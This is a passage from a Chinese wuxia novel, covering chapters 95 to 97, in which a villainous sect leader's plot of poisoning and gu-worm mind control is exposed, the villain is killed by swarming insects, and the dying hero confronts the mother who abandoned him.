桑秀这话说得没头没脑,但庄荣却知道桑秀说的孩子是谁,只是他没捋明白:一则,贺承虽然伤重,可到底是还活着,桑秀这是讨的哪门子说法?二则,当年司渊来信托孤,曾提到桑秀试图杀子,当年她自己都动手要过这孩子的命,如今反过来谴责他没有好好待贺承,这又是什么道理? 这些疑问,庄荣有,亲眼见过襁褓中的婴儿命悬一线的沈懿行也有。 沈懿行陪着金波来找钟晓他们,临近山门便听得喧哗,先行一步,到达时正听见桑秀的咄咄逼人,忍不住问她:“桑姑娘,你还认得我吗?” 桑秀循声看过来,打量沈懿行一番,神色困惑。 当初桑秀追着司渊来到中原时,沈懿行不过是个六七岁的孩子,如今不仅骨骼肌肉都长开了,身份气度也与之前大不相同,怨不得桑秀不认得。他对桑秀道:“我是司左使身旁的小石头,你还记得吗?” “是你——”桑秀恍然,望着已从瘦小孩童长成翩翩公子的沈懿行,她微微失神,红着眼睛喃喃道,“小石头啊,你都长这么大了。可惜,可惜我没能见到我儿长大成人的模样。” 不知桑秀是哪里听来的谣言说贺承已经亡故,虽然她悲恸的模样令人不忍,可想起二十多年前她对贺承痛下杀手的事,沈懿行对贺承的现状闭口不提,只问她:“当年你不是恨不得杀了那个孩子吗?怎么如今又想见他了?” “我后悔了。”桑秀低声道,“那时我恨的明明是他的父亲,跟他有什么关系啊?他那么小一点,两只手掌都放不满,他能做什么对不起我的事?何况后来,我也不恨他的父亲了。” 桑秀与司渊之间的事,剪不断理还乱。沈懿行不便当众追问其中细节,只问她:“你后来既然想通了,为什么不找回那孩子?他的父亲死时,他不过是蹒跚学步的年岁,你以为他是怎么长大的?怎么胆敢来向养大他的人讨说法?” “我——”桑秀被沈懿行噎得说不出话来,艳丽的容颜沾染上泪水的湿气,“你以为我不想来找他吗?可南疆怎么会让圣女出逃两次?我是半年前才趁乱逃出来的,也是在中原遇见南疆王的亲信,才知道南疆王也一直在找他,想杀了他。” “南疆王为什么要——” 贺承的声音自庄荣身后传来,他伤病缠身,姗姗来迟,却恰好将桑秀的话听得完整。他的问题微微顿了一顿,蜷着手指抵在唇边闷闷咳嗽几声,重新问道:“南疆王为什么要杀他?” 桑秀拧着眉头看着这个在庄荣身边站定的、满脸病容的青年,心头无由地一颤。她深吸了口气,沉声道:“为了我。” 心知道这样简短的三个字无法说服众人,桑秀叹了口气,从头细细说起:“在南疆,只有南疆王有资格与圣女繁育子嗣,若圣女与旁人生下孩子,圣女与孩子都得丢进火里烧死。南疆王爱慕我多年,我当年出走中原,在南疆已有诸多传言,他怕这个孩子被人找到,做实了我与外人私通的传言,我定难逃火刑,即便是南疆王也保不住我。” 金波落后沈懿行一段路,众人说话间,她恰好也赶到了。远远看见桑秀的身影,她顾不得身后跟着的枕风楼诸人,发足狂奔过来,猛地抱住桑秀,惊喜道:“师父,您也 逃出来了!” 桑秀惊诧:“波儿,你怎么在这里?” 金波一抬下巴指指身后:“为了让坏人原形毕露。” 顺着金波所指的方向,是一驾马车。 那马车与枕风楼惯用的华丽马车很不一样,车身的木板单薄如纸,仿佛稍稍用力便会被戳穿。那马车被车夫牵到场地中央来,守卫在其左右的人向金波一抱拳:“金姑娘,此刻打开车厢吗?” 金波点头称是,便见马车车身围着的那层薄木板应声剥落,露出里面一个用婴儿小臂粗细的铁棍围起、有半人高的铁笼。 铁笼中有一人盘腿而坐,神态安然。 这是在青山城,遍地是青山城弟子,铁笼中的人很快被认了出来,当即有青山城弟子要围上来:“妖女,你把我们掌门怎么了?” 众人认清铁笼中所囚之人便是陆岳修,金波很快沦为众矢之的。贺承推了推身旁的陆晓怜:“师叔和这么多师兄弟在,我不会有事的。你是师父的女儿,你去帮金波解释最合适。” 陆晓怜舍不得松开贺承的手,却不得不承认他说得对。她没有与他讨价还价,只用力握了一下他:“好,师兄你等我,我很快回来。” 说罢,陆晓怜足尖轻点,几个翻身落在金波身边。 她拦住青山城弟子,低声道:“你们都退回去,金姑娘是来帮我们的。” 将自己人劝退了,她又向叶广、孟岗等人一抱拳,朗声道:“既然大家都在,也不必另约时间了,所有事情便今日在此一并说清楚吧!” 她微微侧身,让出身后的铁笼:“铁笼中所困之人确实是我的父亲,青山城掌门陆岳修。可是难道就没有人好奇,为何他会被困在铁笼之中吗?” 陆岳修被困铁笼自然是有人好奇的,好奇他为何被困,好奇他怎么会甘心被困,也好奇他的女儿为何会与困住他的人做朋友。 叶广不肯吭声,孟岗站出来做主:“晓怜,你继续说下去吧。” “口说无凭,我演示给各位前辈看。” 她说罢,与金波对视确认后,从怀中摸出一方帕子。那帕子本是雪白的丝帕,不知何处沾染了层层叠叠的血迹,如雪地落梅。 陆晓怜将帕子丢入铁笼中,只见安然打坐的陆岳修豁然睁眼。他双目猩红,动作快捷如捕猎的猛兽,身形骤然跃起,伸手稳稳接住那方丝帕。 下一刻,丝帕在他手中湮灭成末。 许是丝帕上的腥气未散,陆岳修狂性未休,他嘶吼一声,左右手分别握住一根铁棍,开始撕扯关押着自己的铁笼,挣扎着试图破笼而出。 这样的情况本在陆晓怜意料之中,她翻身跃上马车,隔着铁笼与陆岳修对视。 这是她与金波一同押下的赌局——陆晓怜以身涉险,赌她如今的一身蛮力能与陆岳修抗衡,也赌陆岳修见到她能被唤醒一丝神志! 这都是她来不及与贺承沟通的决定,她清晰听见身后贺承撕心裂肺的疾呼:“陆晓怜,你给我回来!”可她不敢回头看他一眼。 迎着陆岳修的掌风,陆晓怜寸步不让。她将全身力气灌注在手掌上,紧紧握住陆岳修撕扯铁笼的手,咬牙冲金波道:“金波,趁现在,快!” 金波简短应了声“好”,当即抽出腰间银刀,往手心狠狠一划,扬手将满手新鲜的血液泼洒到陆岳修身上,口中发出怪异的“嘶嘶”声,如同在召唤着什么。 泼到身上的鲜血仿佛能将人烫伤,陆岳修像是痛极了,再顾不得撕扯铁笼,奋力挣脱陆晓怜的桎梏,想躲闪着金波的鲜血。 陆晓怜没有松手,牢牢将陆岳修禁锢在铁笼边沿,咬牙唤他:“爹!醒醒!” 被失心蛊控制了一年有余,陆岳修自然不会因为陆晓怜的一声呼唤便清醒过来。他依旧奋力挣扎着,只是沈懿行给他服过化功的药物,又加上陆晓怜如今功力深厚,他竟一时无法挣脱陆晓怜箍住他的手。 挣扎许久,陆岳修口中发出一声尖锐的啸鸣。 几乎是同时,有一道一指长的黑影从他指尖迸出。 “出来了!”金波欣喜惊呼,眼疾手快地接住那道黑影,反手将它塞进早已准备好的瓷瓶中,“看!这便是失心蛊!” 第95章 第九十五章真相真相。 “这究竟是怎么回事?” 陆晓怜示意枕风楼弟子替她照顾尚未完全清醒的陆岳修,转过身来,拍拍手:“如各位所见,事情其实不复杂,一年前我爹中了失心蛊,无涯洞外出事那晚,蛊虫控制着我爹,杀了我大哥、江非沉和叶飞白,还重伤了我师兄和孟元经。我师兄用凌云剑划伤他们被我爹的断云掌震碎的每一处经脉,以掩盖此事,背下了骂名。” 其实事情的经过几日前叶芷蔚已经说了个大概,若说那日叶芷蔚所言尚无凭据,还令人将信将疑,今日亲眼看着那南疆姑娘从陆岳修身体里生生逼出手指长的一条虫子来,叶芷蔚所言之事便有了**成可信度。 可叶芷蔚控诉的人是她的父亲,是凤鸣山掌门叶广。即便确有此事,也没人愿意当这个出头鸟,触凤鸣山的霉头。 于是,放眼是人山人海,却满场死寂。 陆晓怜嗤笑一声,继续说下去:“可这残害同道的骂名,不该由我师兄背,也不该由我爹背,真正害人的,分明是隐匿在背后,给我爹下蛊的人——”她眼波一转,看向叶广,加重了语气问他:“叶伯伯,我说得对不对?” 叶广背手而立,但笑不语。 陆晓怜心中愤愤,决定往前再逼一步。 她接过金波手中的瓷瓶,刺破那层欲说还休的窗户纸:“叶伯伯,这个瓷罐你眼熟不眼熟?与你当初让叶飞白带给贺启的那份礼,是不是一样的?” 叶广依然不吭声。 陆晓怜索性放弃逼问他,调转了方向:“贺启,他不认得,你呢?你认不认得?” 这大概是贺启生平头一回承受这样多的目光。 他原本就只是个灰扑扑的小乞丐,后来进了青山城,禀赋有限,也并非出类拔萃的那一类人,连他师父庄荣也是看他大哥贺承的面子才愿意多看他两眼。他其实不在意别人眼里有没有他,可他害怕有朝一日,连他大哥的目光都不愿意落到他的身上。 他没有想到,平生第一次被成百上千道目光包围会是在这样的场景下。 遥遥投来的目光里,情绪各异,有探究,有好奇,也有鄙夷。 可这些,他统统不在意,他最在意的那道目光近在咫尺。 贺启怯然看向贺承:“哥——” 贺承拍拍他的肩膀:“去吧,好好把事情说清楚。” 他咬着嘴唇点头,迟疑着多问一句:“哥,你还在怪我吗?” “你自然有错,可今日在场的人,做错事的不止你一人。”贺承扣住贺启的肩膀,轻轻将他往外推,“男子汉大丈夫敢做敢当,你该认错便认错,该认罚便认罚。其他事,我们回去再说。” 得了贺承这句“回去”,贺启放心下来。他往前几步,站到人前,将往事悉数说出。 贺启与叶广的联络其实比所有人以为的还要早。那时叶飞白常常陪着叶芷蔚来青山城找陆晓怜,叶飞白是叶广年轻时流连烟花柳巷生下的孩子,后来虽被叶广认回,却不受重视。 叶飞白想得到的是父亲叶广的肯定,而贺启想得到的是兄长的关注。 两人在青山城相遇,竟生出惺惺相惜来。 在叶飞白牵线搭桥下,叶广很早便开始布局贺启这颗棋子,直到一年前陆岳修发出比武招亲的邀约,借着天时地利人和之便,叶广才开始准备下贺启这步棋。 “失心蛊确实是飞白带来的。”贺启指着陆晓怜手中的白色瓷罐,道,“飞白说,叶掌门让他来报信,说掌门师伯对我哥起了杀心,这失心蛊是南疆不外传的秘术,叶掌门托他带给我,以备不时之需。” 贺启是江湖上名不见经传的小人物,众人只知他是青山城弟子,他一声“掌门师伯”便抖落出陆岳修曾是对贺承起过杀心,四下立即掀起一阵讨论声—— “陆掌门竟是这种残害晚辈的人!” “可你们不觉得这事很没有道理吗?” “不错!贺承是青山城最出色的弟子,陆掌门为什么要杀他?” …… 与外人相比,青山城这侧安静得诡异。 没有人出声讨论,甚至没几个人敢转头看贺承一眼。 这事连庄荣都是头一回听说,担忧地看向贺承,却见他神色如常。庄荣诧异:“小承,你已经知道 此事?” “是,刚刚小启已经同我说过了。” 贺承虽与庄荣更为亲厚,可一贯也是极为敬爱陆岳修,庄荣心知,他得知此事心里必定不好受,拧着眉头想安慰他,却又不知从何安慰起:“小承,掌门师兄他——” “不要紧的。”贺承面色如常,可胸口乱了节奏的起伏,还是泄露了他心中翻涌的情绪。他极力保持平稳的语气:“不要紧的,毕竟师父没有真的杀死我。” “这其中一定有什么误会,等掌门师兄恢复神志——” 贺承深吸一口气,正要出声打断庄荣,告诉他不必追问,却不想话未出口,人群里传来一声惊呼:“你们看,陆掌门醒了!” 众人来不及细看,只觉一道人影晃过,陆岳修已经站到贺启面前。 他确已彻底清醒过来,身形挺拔,目光清明,迎风而立,身上却少了以往不怒自威的气场。陆晓怜快步过来挽住陆岳修的手臂,可他的目光却牢牢锁定在贺启身上,沉声问:“你刚刚说,我对小承起了杀心?” 贺启好笑地看着他,语气嘲弄:“师伯还要装傻吗?” 陆岳修皱眉:“我怎么会对小承动杀心?你亲眼看见了?” 于是,贺启又将他如何蹲守在青山城的厨房,如何看见陆岳修亲自往贺承的饭菜里加药,如何换了贺承的饭菜去喂野兔,如何看着后山的野兔几日之内一命呜呼,这一串事情仔仔细细说一遍。说罢,他盯着陆岳修,问:“这算不算是我亲眼看见你要害我哥?” 听过贺启的话,陆岳修眉头越拧越紧。 他思索片刻,豁然开朗,目光锐利如箭,直直射向叶广,厉声道:“叶广!是你!你给我的药不对劲!” 直到此刻,叶广才从人群中走出,说出今日的第一句话:“岳修兄,好久不见。” 叶广不是个蠢人,或许是在见到贺启的那一刻,又或许是在金波逼出陆岳修体内的失心蛊那一刻,他已经料到了败局。他一向看重面子,虽败,却不能太过狼狈,即便此刻面对陆岳修的质问,他也是淡然含笑,镇定自若。 陆岳修咬牙:“你让我喂给小承的药,不是化功散!” “是化功散又如何,不是化功散又如何?”叶广轻笑,“敬重爱戴的师父,为了拆散自己与他心爱的师妹,不惜给他下药,于贺承而言,都一样诛心!”他回过头,远远望了贺承一眼,高声问他:“贺承,我说得对不对?” 贺承没有应声,只沉默看着这场对峙。 陆岳修痛心:“小承是我的得意门生,我怎么会想害他的性命!分明是你!是你承诺,若晓怜与叶飞白成亲,你会以凤鸣山绝学‘丹凤朝阳’为聘,两派水乳交融,定会成为一段佳话!若不是为此,我怎么会设下比武招亲的擂台,怎么会为了让叶飞白赢下擂台给小承下药,又怎么会中了你的圈套差点害死小承!” “确实如此。”叶广大大方方地承认,却轻声嗤笑,“可是,若不是你心中有条缝,又怎么会中我的圈套?青山城中武功秘笈难以计数,你拆散贺承与陆晓怜,只是为了我凤鸣山区区一部‘丹凤朝阳’吗?你心中究竟是怎么想的,你自己应当清楚。” “你——” 叶广哈哈哈大笑:“这是你们青山城自己的事,我便不在这么多人面前点破了吧!可说来令人唏嘘,你为了那一点算计与我共谋,到头来,陆兴剑却因为失心蛊惨死在你手中,这难道便是天道轮回?” 陆岳修脸色煞白,厉声呵斥:“你闭嘴!” 无涯洞外的事已经分说清楚,可不久前在逐月阁发生的杀戮却还扑朔迷离。 孟岗纵身一跃,落到陆岳修身旁,一双眼被恨意烧得猩红:“叶广,我逐月阁血案,当真也是你设计的?” “孟岗兄,我确实也是没有办法。我想要将四大门派合一,青山城与琴剑山庄都出过事,若不想办法削弱逐月阁的实力,凤鸣山如何担得起四大门派之首的名号?” 仿佛看不见孟岗眼中的怒意,叶广摇摇头,惋惜地继续说下去:“元经是个好孩子,稍稍挑拨,他就差点帮我杀了贺承。我是真的没想过要元经的命,实在可惜了。可谁又能想到呢?贺启因为他大哥,盛怒之下,竟能一剑封喉取了元经的性命。” “你为什么一定要取师兄的性命?”陆晓怜握紧手中横秋剑,极度克制,才忍着没有拔剑出鞘。 粗粗算来,叶广至少设了三次局要杀贺承。 将陆岳修的化功散换作致命的毒药是一次。利用失心蛊打算借刀杀人是一次。挑唆孟元经对贺承痛下杀手又是一次。 可陆晓怜实在想不明白,叶广与贺承究竟能有什么深仇大恨? “想要你师兄性命的不是我。”叶广指指陆晓怜手中装蛊虫的瓷罐,“是这只虫子的主人。至于你的师兄为什么会跟南疆人有牵扯,恐怕你就得自己去问问他了。” “原来,帮南疆王杀我儿的中原人就是你啊。” 桑秀婉转妩媚的声音悠悠响起,大家才想到,最初聚在青山城山门外,本是为了抵抗这个南疆女子。可后来往事一页页翻出,桩桩件件都骇人听闻,竟没人再记得她。 桑秀拨弄着自己纤长的手指,眼波流转,斜睨了陆岳修和孟岗一眼:“喂,就数你们话最多,还有什么要问这个人的吗?” 不知道她为何由此一问,陆岳修和孟岗彼此对视一眼,想着青山城与逐月阁的往事已经分说清楚,一齐摇了下头。 桑秀点头:“很好,那就是没什么要说的了,那你们让一让。”她垂眸看着自己白皙纤细的手,眼中浮起一层说不上是欣喜还是哀恸的情绪,低声道:“接下来,就轮到我为我儿报仇了。” 语音刚落,她纤长的手指轻轻一弹,叶广只觉眉心一凉,有什么东西悄无声息地沁入自己的身体。 “妖女,你——”叶广的话还未说完,便被一阵窸窸窣窣的声音盖过去。他循声看去,旋即惊恐地瞪大了眼睛,只见围绕在桑秀身边的、密密麻麻的蛇虫如潮水般朝自己奔涌而来…… 第96章 第九十六章无医你看过我了,可以走…… 这一场对峙不见血光,密密麻麻的蛇虫将叶广吞噬得只剩一副白骨,连渗进泥土里的血迹都被它们吞吃入腹。叶芷蔚在叶广的惨叫声中昏厥过去,醒来时,凤鸣山弟子已将叶广的遗骸装殓好,准备启程回去。 叶广毕竟是叶芷蔚的父亲,是生她养她的人,即便他不仁不义造下不可饶恕的杀孽,她也还是想要送他最后一程。可几日前,她当众撕破叶广的伪善,已与凤鸣山势同水火,从青山城往凤鸣山的这段路,她必定要走得很艰难。 启程那日,陆晓怜牵着马,一路送至青山城外二三十里,不得不分别时握着叶芷蔚的手,安慰她:“芷蔚姐姐,一路保重。等,等叶掌门入土为安,你便回来找我吧。” 叶芷蔚点头:“我自然是要回来找你的,阿纬还在你这里呢。” 叶芷蔚情深义重,即便在叶广派人屠杀逐月阁的生死关头,她也没有丢下早已半死不活的孟元纬。她将孟元纬推入儿时捉迷藏的密室中,引开凤鸣山的人,侥幸活下来了,才趁着夜色翻回逐月阁,从死人堆里把孟元纬背了出来。 只是孟元纬原本就只剩一口气,这一番折腾,差点连那口气都保不住。 那时叶芷蔚也不知道外面的人是敌是友,在西江城里东躲西藏,连大夫也请不到,只能凭着之前日日为孟元纬煎药的记忆,乔装去药铺抓药,勉勉强强接续着孟元纬的性命。那一日大雪天,孟元纬差点要撑不下去,偏偏是在这一日,钟晓和金波找到了他们。 也是孟元纬 命不该绝,金波捏着她的宝贝瓷罐告诉叶芷蔚,她手中有一种蛊虫,靠寄居在人身上吸食人的血液生长。这种虫子为了自保,进入宿主体内,便会分泌一种物质为宿主保命,伤得再重的人,也能在蛊虫的帮助下,再续七七四十九天的性命。 叶芷蔚想起孟元纬命悬一线之际,她听孟元经说起过一种传说中可以起死回生的南疆奇药。她追问金波,这是不是便是传说中能起死回生的南疆奇药? 金波摇头叹气,告诉她,蛊虫能续命,可至多也只能续四十九天,四十九天后,蛊虫成熟,吸尽宿主血液,宿主必死无疑。 那时孟元纬气息弱得几乎断绝,只心口还剩了一抹热意。 在立即断气和四十九日后丧命之间,叶芷蔚还是选择了后者。 孟元纬就这样暂时又活了下来,后来,叶芷随着钟晓和金波来到青山城,昏睡中的孟元纬也跟着山水迢迢地来,此刻已经被送进青山城里安置妥当。 陆晓怜想了想,摸出一方玄色令牌,塞进叶芷蔚手中:“这是师兄给我的,说遇事可去找枕风楼相助。我与师兄如今已经安安稳稳待着青山城中,暂时是用不上了,你带着,日后再还给我便是。” 叶芷蔚不再推辞,大大方方地接过:“多谢。”说罢,她翻身上马,朝陆晓怜挥手:“快回去,一会贺师兄醒了找不到你该着急了。” 马蹄声远,叶芷蔚的身影渐渐隐没在被扬起的尘土里。 陆晓怜勒马掉头,往相反的方向发足狂奔,哒哒马蹄声中,她想起很多以前的事情。叶芷蔚、叶飞白、孟元经、孟元纬,还有钟晓、贺承、贺启,明明他们在青山城的池塘里泼水嬉戏好像只是前几日的事情,怎么不声不响地,他们就长成了要独自面对离别的大人了? 最令人绝望的是,她们面前,不仅有生离,还有死别。 赶回青山城,陆晓怜下马,一丢缰绳便往后院跑。在门外抖落一身寒意,她才敢推门进去,走到贺承的床榻旁。 见陆晓怜回来,钟晓起身,将床边凳子让给她。 陆晓怜一口气跑上来,气还没有喘匀,没急着坐下,歪着头仔细端详床榻上昏睡的人。这人像是深秋的风刀霜剑里挣扎着看出来的一朵花,穷途末路,每一日都要比前一日更衰颓枯败一点。 她忍着眼中的热意,问钟晓:“他早晨醒来过吗?” 钟晓有些不忍,却还是轻轻摇头。 陆晓怜深吸一口气,压下喉咙里的哽咽:“知道了,我来陪他吧。” 贺承的情况是从一切真相大白那日后,开始急转直下的。 那一日,贺承难得示弱,外人还未散尽,他便俯在陆晓怜耳边说不舒服。 陆晓怜扶着贺承慢慢往后院走,明明疲倦得连说话都少气无力的人,脚下的步子却迈得飞快。听着贺承越发沉重地呼吸声,和一阵急过一阵的闷咳,陆晓怜心里又急又疼,一遍遍劝他:“师兄,慢一点,再没人要与青山城为难了,我们不赶时间。” 可他不语,依旧快步往里走。 赶到卧房门外,贺承扶着房门站定,才彻底松下来一口气。顷刻间,全身力气霎时被抽尽一般,他再迈不出半步,无奈看着陆晓怜苦笑:“晓怜,扶我一把,我走不动了。” 陆晓怜替贺承脱了外层大氅,扶他在床上躺好,趴在床边拨弄着他垂散下来的黑发,柔声说:“师兄,我能问吗?” 贺承笑着看她:“你想问什么?” “你刚才在躲什么?”陆晓怜松开贺承的头发,将手伸进棉被里,去握他冰凉的手,“你不想见她,不想跟她相认,对不对?是因为你还在怨她吗?” “原本是怨的,可见到她以为我死了,要替我报仇,我就不怨了。”贺承笑着说,“说来好笑,我之前挺想见一见她的,特别是在最春风得意的那几年,可她偏偏在这个时候来——” 他挣脱开陆晓怜,将手举到空中。 那只苍白枯瘦的手难以抑制地颤抖的。这明明曾是这一辈弟子中,拿剑最稳,出剑最快的一只手,如今,却连提剑的力气都没有了。 手掌颓然砸落下去,贺承笑意泛苦:“她偏偏在这个时候来,我已经是个将死的废人,我要怎么去见她,我凭什么要她后悔当年抛下我?” 陆晓怜心疼不已,坐到床沿去,紧紧抱住贺承:“师兄这样好,是她不知道珍惜,才会便宜了我们。”她凑过去,蹭蹭贺承的脸颊,语气轻柔得像哄孩子:“师兄不想见她,我们便不见,青山城的山门我守不住,师兄的院门我还是守得住。” 贺承被逗得闷笑出声。 陆晓怜松了口气,笑着问他:“累不累?要不要睡一会?” 贺承本就病重,先是与贺启一番理论,再强撑着到山门外吹了半天风,怎么可能不累。陆晓怜这一问,将所有倦意都勾了出来,可他自知时日无多,舍不得浪费一点与陆晓怜相处的时光,偏头靠在陆晓怜肩上:“累,可是舍不得睡。我们便这样靠着说会儿话吧。” “好。”陆晓怜往贺承身后又塞一块软枕,伸手轻轻托住他的身子,好让他靠得舒服些,“师兄想说些什么?” 贺承轻笑:“我们从小一起长大,没什么是对方不知道的,好像是没什么好说的。” “那你会不会就觉得跟我在一起很无聊?” “为何这样说?” “知道对方太多事情,一点新奇的东西都没有,是不是会很无聊?” 贺承含含糊糊地“嗯”了一声。 陆晓怜被气笑了:“你怎么还答应了?当真觉得无聊吗?你这个人——” 她低头去看靠在自己肩上的贺承,到了唇边的嗔怪便卡在那里,没能说出口。一股寒意蹿上脊背,陆晓怜浑身的血液都凝冻住,她看见贺承的头从自己的肩膀滑落下去,无力深垂着,从他的口鼻中汩汩涌出鲜血,顺着他瘦得尖削的下颌,滴答滚落。 “师兄——”她扶住他的肩膀,颤抖着喊他,却没有得到任何回应。 上一刻还笑着同她说话的人,便这样悄无声息地昏厥了过去。 仿佛随着所有的谜题解开,贺承强撑的一口气便散了,他的身体继续恶化,迅速滑向不可挽救的深渊。他清醒的时间原来越短,昏睡的时间越来越长,一开始还能吃得下东西,后来连熬得稀薄的米粥都咽不下去。 青山城里与贺承相熟的人有许多,每日都有人来看他。 庄荣住的院落离得近,更是闲来无事便过来。贺承并不是时时清醒着,庄荣也做不了什么,只是觉得贺承好像一夕之间变回那个被自己捡回来的孩童,脆弱无依,自己想要时时刻刻都守着他护着他。 陆岳修对贺承有愧,请了许多大夫,送了许多药材,却迟迟没有来探过贺承。 若不是那日,从金波口中得知自己的孩子尚在人世的桑秀再次硬闯青山城,嚷嚷着要见贺承,倒逼着自己与贺承见了一面,陆岳修也不知道,自己究竟还打算逃避多久。 前几日才见识过桑秀招来的那些蛇虫的威力,守山门的弟子不敢怠慢。他客客气气地请桑秀稍等片刻,待自己去向掌门禀告。可桑秀一刻也等不得,衣袖一扬,便硬闯进去,逢人便问贺承在何处。 才平静几日的青山城, 登时又乱做一锅粥。 贺承来时,桑秀正与肩膀地肩膀站成“一字阵”的青山城弟子对峙着。 他一步步走向桑秀,他走得极慢,却极稳,在桑秀前站定,面无表情地看着她,语气平淡如水,不带一点情绪:“我便站在这里,你看过我了,可以走了吗?” 第97章 第九十七章终章(一)够了,知足了…… “你便是我的孩子?都长这么大了!”桑秀瞪大了眼睛看着眼前消瘦苍白的青年,眼中翻涌起异样的光彩。二十几年前,她是见过他的,他那时那样小那样软,看上去比她的蛊虫都要脆弱,可是人终究跟圣女堂里的毒虫不一样,长着长着就成了她认不得的样子。 世上怎会有这样奇妙的事情,明明是从她身体里掉下来的一块肉,却能长成她和她心爱之人的样子,她被黄泉路隔绝的诸多念想,在见到这个孩子的顷刻之间,好像便有了寄处。 桑秀忍不住伸手要去拉贺承:“我是你的母亲呀!你,你还记不记得我?” 她这话问得好笑,当年她离开时,贺承尚在襁褓之中,怎么可能记得她? 贺承往后退了一步,躲开桑秀伸过来的手:“不记得了。” 庄荣在不远处看着,忍不住补了一句:“你希望他记得什么?记得他刚刚出生,你就打算拿他去喂蛊虫吗?” 桑秀是南疆人奉若神祇的圣女,向来高傲惯了,被戳中痛处,登时变了脸色,狠狠瞪了庄荣一眼:“怪不得我儿躲着不见我,原来是你这个老东西在他耳边说我坏话!” 她从不甘心示弱,也从不愿意退缩。虽然吹眉瞪眼地同庄荣吵架,可目光落回到贺承身上,却藏着小心翼翼的温柔:“我那时就是太恨你的父亲了,后来,后来我也后悔,也想看看你长成什么模样,可被困在南疆,我也没有办法。” 贺承闷咳着低声问:“那现在呢?又不恨了?” “不恨了。”桑秀摇头,眼神中的尖利退去,艳丽的容颜仿佛笼上一层薄薄的雾,柔和而缥缈,“他没有骗我,他说他去南疆寻药是真,爱我也是真,我从前不信,可我此番来中原,听说,他至死都想着要护我。” 说者无意,听者有心。 在枕风楼时,贺承便将桑秀和司渊的故事原封不动地告诉陆晓怜。听见桑秀提起司渊去南疆寻药的事,陆晓怜插话进来问:“所以,南疆当真有起死回生的灵药吗?” 桑秀摇头:“是曾有人炼出过这种蛊虫,能续命,却不能救命。”她朝金波抬了抬下巴:“这种蛊虫子生母死,只有一只。波儿同我说,她已经把蛊虫给一个姓孟的中原年轻人种下了,不过这也是吊着一口气罢了,四十九日后,血肉都被蛊虫吸干了,神仙也难救。” 陆晓怜还记得叶广被蛇虫啃噬成一堆白骨的场景,倒吸一口冷气,半是惊吓,半是悲伤,肩膀忍不住剧烈一颤,可随后,肩上落下来一道温和的力量。 抬眼看去,只见贺承垂着眼看她。她眼眶泛红,仿佛受了莫大的委屈:“师兄——” 她没说她为什么要同桑秀确认那味药,也没说她为什么忍不住发抖,可贺承心里都明白,搂紧她纤瘦的肩膀:“没事,我们过一日是一日。” 桑秀也跟着安慰陆晓怜:“那蛊虫不是什么好东西,死的时候,人几乎只剩一层皮包裹着白骨,死相极惨的。正是因为这样,当年司渊宁死也不告诉沈南风这种蛊虫的存在,听说,他是怕沈南风的儿子死后,沈南风把怨气撒到我头上,宁愿在枕风楼的刑堂被折磨至死,也不肯提我一个字。” 世上知道这段往事的人已经不多,愿意提起这段往事的人更少,就连贺承自己,也是硬闯百花谷遇见南门迁与潘妩,才窥探得自己身世的冰山一角。桑秀说的这些细节,即便是贺承,也从未听人提起过。 那么,桑秀又是从何听说这些的? 贺承心念一动,追着问她:“这些事,你是听谁说的?” “那两个大夫呀。” “大夫?”陆晓怜迟疑地问,“是南门前辈与潘前辈?” 桑秀点头:“说来也巧,我在阳城遇见了当年在枕风楼为我调理身子的那两个大夫。就是你说的那个叫什么南门北门的老头和他媳妇。这两个人文文弱弱的,骨头却很硬,觊觎南疆王王位的人想捉我儿去南疆,证实圣女不洁、南疆王包庇圣女一事,这两个大夫落到了他们手里,也没有松口吐露我儿的身世。” 贺承瞳孔一震:“他们是为了保护我才死的!” “这两人确实讲义气。”桑秀幽幽叹气,“可惜我见到他们时,他们没剩几口气了,最后的力气都在劝我别恨司渊,说司渊至死都想着要护着我,说司渊当年就猜到南疆必定会有人来追查他们的圣女在中原发生过什么,交代他们不可踏出百花谷,要他们承诺,若出了谷便自担生死,绝不可向任何人透露南疆圣女在中原产子一事。” “他们——”贺承脸色煞白,声音抖得几乎说不下去,“他们死得很惨吗?” 连桑秀都忍不住叹息:“是挺惨的,他们像两块破布被丢在山坡的两头,身上没一块好肉,却拼着最后一口气,要爬到一起,死在一处。”抬眼看见贺承苍白得不寻常的气色,桑秀忙安慰他:“你放心,我帮了他们的。我在他们咽下最后一口气前,将他们放到一处,还帮他们将手握上,想必他们二人进到地府也不会走散。” 贺承仿佛听不见她的话,惨白的唇发着抖,喃喃道:“怪不得——” 怪不得当初他要南门迁和潘妩出百花谷救人,两人神色凝重犹如赴死,怪不得沈懿行对于两位前辈的死状言辞闪烁,不敢让他去见他们最后一面。 他们出百花谷是为他。 他们奔赴西江城是为他。 他们的死,也实实在在是为了他。 冷风阵阵,风声呼啸,卷在贺承耳边,与他耳边尖锐的啸鸣,一同汇成了百花谷盛夏的蝉鸣。 那好像是昨日才遇见的人和事,却其实已经隔了阴阳。 “喂,你怎么了——” “师兄——” “小承——” 好像有很多人在喊他,可是贺承觉得那一声声惊呼都遥远得像是隔了重重青山。 明明是晌午,天色怎么陡然就暗了?他好像看见百花谷外那片波光粼粼是百花潭,乳白色的月光铺在水面上,静谧安宁。 仓皇间,他拉住身边不知是谁的手:“都是我的错……”他连咳嗽的力气都没有了,单薄的胸口震了震,殷红从他灰败的唇边喷出出来…… 被陆岳修请到青山城来,还未来得及告辞的大夫被请到贺承房中细细为他诊脉。大夫摇头叹气,说贺承可能会醒一会,也可能不会再醒来,他气急攻心,瞬时上涌的气血几乎将他脆弱的心脉冲断,他如今还有一口气,是因为经脉还有一线牵连,等那岌岌可危的一点连接断了,他这口气也便散了。 大夫没有为贺承开药,他收了药箱往外走,陆晓怜拉着大夫的衣袖一路跟到门口,大夫却用力抽走衣袖,只留一句,已经到了这个地步,让他好好走吧。 桑秀站在门边,有些无措:“他刚刚不是还好好的吗?怎么会——” 陆晓怜红着眼睛恨恨盯着她:“他本就没几日好活了,为什么还要让他不得安宁!” “我没有,我以为他会高兴的,我不恨他的父亲,我也不恨他了。” 陆晓怜冷笑:“你以为你是谁,你恨不恨他,又有谁在意?” “我是他的母亲!” “那又如何?你是生了他,你养过他吗?”陆晓怜扫了桑秀一眼,冷哼,“我的娘亲也没能陪我长大,我也不记得她的模样了,可我听说她那时已经病得下不了床,还强撑着为我准备日后要用的东西,恨不得在她死前,把我的嫁妆都备好!可是 你呢?你给师兄留下了什么?在他快要饿死病死的时候,你在哪里?” 这些事这些话,陆晓怜很小的时候就心里偷偷想过。 